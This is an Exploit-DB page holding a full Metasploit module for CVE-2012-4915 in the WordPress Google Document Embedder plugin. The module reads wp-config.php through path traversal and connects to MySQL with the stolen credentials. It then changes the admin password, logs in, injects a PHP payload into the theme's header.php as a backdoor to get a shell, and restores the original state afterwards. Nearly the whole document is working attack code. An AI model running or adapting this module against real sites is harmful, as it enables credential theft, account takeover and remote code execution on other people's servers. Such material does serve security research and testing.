WordPress Plugin Google Document Embedder - Arbitrary File Disclosure (Metasploit)

EDB-ID:

23970




Platform:

PHP

Date:

2013-01-08


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rbmysql'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Report

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'WordPress Plugin Google Document Embedder Arbitrary File Disclosure',
			'Description'    => %q{
					This module exploits an arbitrary file disclosure flaw in the WordPress
				blogging software plugin known as Google Document Embedder. The vulnerability allows for
				database credential disclosure via the /libs/pdf.php script. The Google Document Embedder
				plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL
				server is exposed on a accessible IP and Wordpress has filesystem write access.

				Please note: The admin password may get changed if the exploit does not run to the end.
			},
			'Author'         =>
				[
					'Charlie Eriksen',
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['CVE', '2012-4915'],
					['OSVDB', '88891'],
					['URL', 'http://secunia.com/advisories/50832'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Jan 03 2013',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
				OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),
				OptString.new('ADMINPATH', [true, 'The relative path to the admin folder', 'wp-admin/']),
				OptString.new('THEMESPATH', [true, 'The relative path to the admin folder', 'wp-content/themes/'])
			], self.class)
	end

	def check
		uri = target_uri.path
		uri << '/' if uri[-1,1] != '/'
		plugins_uri = String.new(uri)
		plugins_uri << datastore['PLUGINSPATH']
		plugins_uri << '/' if plugins_uri[-1,1] != '/'

		res = send_request_cgi({
			'method' => 'GET',
			'uri'    => "#{plugins_uri}google-document-embedder/libs/pdf.php",
		})

		if res and res.code == 200
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Safe
		end
	end

	def exploit
		uri = target_uri.path
		uri << '/' if uri[-1,1] != '/'
		plugins_uri = String.new(uri)
		plugins_uri << datastore['PLUGINSPATH']
		plugins_uri << '/' if plugins_uri[-1,1] != '/'
		admin_uri = String.new(uri)
		admin_uri << datastore['ADMINPATH']
		admin_uri << '/' if plugins_uri[-1,1] != '/'
		themes_uri = String.new(uri)
		themes_uri << datastore['THEMESPATH']
		themes_uri << '/' if plugins_uri[-1,1] != '/'

		print_status('Fetching wp-config.php')
		res = send_request_cgi({
			'method'     => 'GET',
			'uri'        => "#{plugins_uri}google-document-embedder/libs/pdf.php",
			'vars_get'   =>
				{
					'fn'   => "#{rand_text_alphanumeric(4)}.pdf",
					'file' => "#{'../' * plugins_uri.count('/')}wp-config.php",
				}
		})

		if res and res.body =~ /allow_url_fopen/
			fail_with(Exploit::Failure::NotVulnerable, 'allow_url_fopen and curl are both disabled')
		elsif res.code != 200
			fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
		end

		config = parse_wp_config(res.body)
		if not ['DB_HOST', 'DB_PORT', 'DB_USER', 'DB_PASSWORD', 'DB_NAME'].all? { |parameter| config.has_key?(parameter) }
			fail_with(Exploit::Failure::UnexpectedReply, "The config file did not parse properly")
		end
		begin
			@mysql_handle = ::RbMysql.connect({
				:host           => config['DB_HOST'],
				:port           => config['DB_PORT'],
				:read_timeout   => 300,
				:write_timeout  => 300,
				:socket         => nil,
				:user           => config['DB_USER'],
				:password       => config['DB_PASSWORD'],
				:db             => config['DB_NAME']
			})
		rescue Errno::ECONNREFUSED,
			RbMysql::ClientError,
			Errno::ETIMEDOUT,
			RbMysql::AccessDeniedError,
			RbMysql::HostNotPrivileged
			fail_with(Exploit::Failure::NotVulnerable, 'Unable to connect to the MySQL server')
		end
		res = @mysql_handle.query("SELECT user_login, user_pass FROM #{config['DB_PREFIX']}users U
									INNER JOIN #{config['DB_PREFIX']}usermeta M ON M.user_id = U.ID AND M.meta_key = 'wp_user_level' AND meta_value = '10' LIMIT 1")

		if res.nil? or res.size <= 0
			fail_with(Exploit::Failure::UnexpectedReply, 'No admin was account found')
		end

		user = res.first

		new_password = rand_text_alphanumeric(8)
		@mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{::Rex::Text.md5(new_password)}' WHERE user_login = '#{user[0]}'")
		print_warning("Admin password changed to: #{new_password}")

		admin_cookie = get_wp_cookie(uri, user[0], new_password)

		theme, nonce, old_content = get_wp_theme(admin_uri, admin_cookie)

		print_warning("Editing theme #{theme}")
		set_wp_theme(admin_uri, admin_cookie, nonce, theme, payload.encoded)

		print_status("Calling backdoor")
		res = send_request_cgi({
			'method' => 'GET',
			'uri'    => "#{themes_uri}#{theme}/header.php",
		})

		if res and res.code != 200
			fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
		end

		set_wp_theme(admin_uri, admin_cookie, nonce, theme, old_content)

		@mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{user[1]}' WHERE user_login = '#{user[0]}'")

		print_status("Shell should have been acquired. Disabled backdoor")
	end

	def parse_wp_config(body)
		p = store_loot('wordpress.config', 'text/plain', rhost, body, "#{rhost}_wp-config.php")
		print_status("wp-config.php saved in: #{p}")
		print_status("Parsing config file")
		values = {}

		body.each_line do |line|
			if line =~ /define/
				key_pair = line.scan(/('|")([^'"]*)('|")/)
				if key_pair.length == 2
					values[key_pair[0][1]] = key_pair[1][1]
				end
			elsif line =~ /table_prefix/
				table_prefix = line.scan(/('|")([^'"]*)('|")/)
				values['DB_PREFIX'] = table_prefix[0][1]
			end
		end
		#Extract the port from DB_HOST and normalize DB_HOST
		values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306

		if values['DB_HOST'] =~ /(localhost|127.0.0.1)/
			print_status("DB_HOST config value was a loopback address. Trying to resolve to a proper IP")
			values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST'])
		end

		return values
	end

	def get_wp_cookie(uri, username, password)
		res = send_request_cgi({
			'method'     => 'POST',
			'uri'        => "#{uri}wp-login.php",
			'cookie'     => 'wordpress_test_cookie=WP+Cookie+check',
			'vars_post'  =>
				{
					'log'        => username,
					'pwd'        => password,
					'wp-submit'  => 'Log+In',
					'testcookie' => '1',
				},
		})

		if res and res.code == 200
			fail_with(Exploit::Failure::UnexpectedReply, 'Admin login failed')
		elsif res and res.code != 302
			fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
		end

		admin_cookie = ''
		(res.headers['Set-Cookie'] || '').split(',').each do |cookie|
			admin_cookie << cookie.split(';')[0]
			admin_cookie << ';'
		end

		if admin_cookie.empty?
			fail_with(Exploit::Failure::UnexpectedReply, 'The resulting cookie was empty')
		end

		return admin_cookie
	end

	def get_wp_theme(admin_uri, admin_cookie)
		res = send_request_cgi({
			'method' => 'POST',
			'uri'    => "#{admin_uri}theme-editor.php?file=header.php",
			'cookie' => admin_cookie,
		})

		if res and res.code != 200
			fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
		elsif res and res.body.scan(/<input.+?name="submit".+?class="button button-primary"/).length == 0
			fail_with(Exploit::Failure::NotVulnerable, 'Wordpress does not have write access')
		end

		nonce = res.body.scan(/<input.+?id="_wpnonce".+?value="(.+?)"/)[0][0].to_s
		old_content = Rex::Text.html_decode(Rex::Text.html_decode(res.body.scan(/<textarea.+?id="newcontent".+?>(.*)<\/textarea>/m)[0][0].to_s))
		theme = res.body.scan(/<input.+?name="theme".+?value="(.+?)"/)[0][0].to_s

		return [theme, nonce, old_content]
	end

	def set_wp_theme(admin_uri, admin_cookie, nonce, theme, new_content)
		res = send_request_cgi({
			'method'    => 'POST',
			'uri'       => "#{admin_uri}theme-editor.php?",
			'cookie'    => admin_cookie,
			'vars_post' =>
				{
					'_wpnonce'   => nonce,
					'theme'      => theme,
					'newcontent' => new_content,
					'action'     => 'update',
					'file'       => 'header.php'
				},
		})

		if res and res.code != 302
			fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
		end
	end

end